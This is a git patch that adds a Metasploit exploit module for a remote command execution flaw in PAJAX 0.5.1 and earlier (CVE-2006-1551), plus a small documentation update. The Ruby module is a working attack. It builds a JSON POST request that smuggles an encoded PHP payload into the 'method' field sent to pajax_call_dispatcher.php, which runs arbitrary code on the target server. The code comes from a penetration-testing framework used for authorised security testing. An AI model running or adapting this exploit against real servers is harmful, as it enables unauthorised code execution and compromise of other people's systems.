From 752cc9f978770892bfa2d9600e827fdf318c1cca Mon Sep 17 00:00:00 2001
From: HD Moore <hd_moore@rapid7.com>
Date: Fri, 5 Jan 2007 05:38:28 +0000
Subject: [PATCH] Added the PAJAX exploit

git-svn-id: file:///home/svn/framework3/trunk@4261 4d416f70-5f16-0410-b530-b9f4589650da
---
 documentation/metasploit2/exploits.txt        |  2 +-
 .../exploits/unix/webapp/pajax_remote_exec.rb | 69 +++++++++++++++++++
 2 files changed, 70 insertions(+), 1 deletion(-)
 create mode 100644 modules/exploits/unix/webapp/pajax_remote_exec.rb

diff --git a/documentation/metasploit2/exploits.txt b/documentation/metasploit2/exploits.txt
index 5b5c396720..e09c384e11 100644
--- a/documentation/metasploit2/exploits.txt
+++ b/documentation/metasploit2/exploits.txt
@@ -13,7 +13,6 @@ Unfinished modules
 	lyris_attachment_mssql
 	mailenable_auth_header
 	mcafee_epolicy_source
-	pajax_remote_exec
 	php_wordpress_lastpost
 	phpbb_highlight
 	phpnuke_search_module
@@ -119,6 +118,7 @@ Completed modules
 	oracle9i_xdb_ftp exploit/windows/ftp/oracle9i_xdb_ftp_unlock
 	oracle9i_xdb_ftp_pass exploit/windows/ftp/oracle9i_xdb_ftp_pass
 	oracle9i_xdb_http exploit/windows/http/oracle9i_xdb_pass
+	pajax_remote_exec exploit/unix/webapp/pajax_remote_exec
 	payload_handler exploit/multi/handler
 	peercast_url_linux exploit/linux/http/peercast_url
 	peercast_url_win32 exploit/windows/http/peercast_url
diff --git a/modules/exploits/unix/webapp/pajax_remote_exec.rb b/modules/exploits/unix/webapp/pajax_remote_exec.rb
new file mode 100644
index 0000000000..73fce4dd83
--- /dev/null
+++ b/modules/exploits/unix/webapp/pajax_remote_exec.rb
@@ -0,0 +1,69 @@
+require 'msf/core'
+
+module Msf
+
+class Exploits::Unix::Webapp::Pajax_Execute < Msf::Exploit::Remote
+
+	include Exploit::Remote::Tcp
+	include Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'PAJAX Remote Command Execution',
+			'Description'    => %q{
+				RedTeam has identified two security flaws in PAJAX (<= 0.5.1).
+				It is possible to execute arbitrary PHP code from unchecked user input.
+				Additionally, it is possible to include arbitrary files on the server
+				ending in ".class.php".			
+			},
+			'Authors'        => [ 'Matteo Cantoni <goony[at]nothink.org>', 'hdm' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: 3509 $',
+			'References'     =>
+				[
+					['OSVDB', '24618'],
+					['BID', '17519'],
+					['CVE', '2006-1551'],
+					['URL', 'http://www.redteam-pentesting.de/advisories/rt-sa-2006-001.php'],
+					['MIL', '1672'],
+				],
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'DisableNops' => true,
+					'Space'       => 4000,
+				},
+			'Platform'       => 'php',
+			'Arch'           => ARCH_PHP,
+			'Targets'        => [[ 'Automatic', { }]],
+			'DisclosureDate' => 'Mar 30 2006',
+			'DefaultTarget' => 0))
+			
+			register_options(
+				[
+					OptString.new('URI', [true, "The full URI path to pajax_call_dispatcher.php", "/pajax/pajax/pajax_call_dispatcher.php"]),
+					OptString.new('MOD', [true, "The PAJAX module name", "Calculator"])
+				], self.class)
+	end
+
+
+	def exploit
+	
+		args = %Q!{ "id": "bb2238f1186dad8d6370d2bab5f290f71", "className": "#{datastore['MOD']}", "method": "add(1,1);#{payload.encoded};$obj->add", "params": ["1", "5"] }!
+	
+		res = send_request_cgi({
+			'uri'      => datastore['URI'],
+			'method'   => 'POST',
+			'data'     => args,
+			'ctype'    => 'text/x-json'
+		}, 25)
+		
+		if (res)
+			print_status("The server returned: #{res.code} #{res.message}")
+		else
+			print_status("No response from the server")
+		end
+	end
+	
+end
+end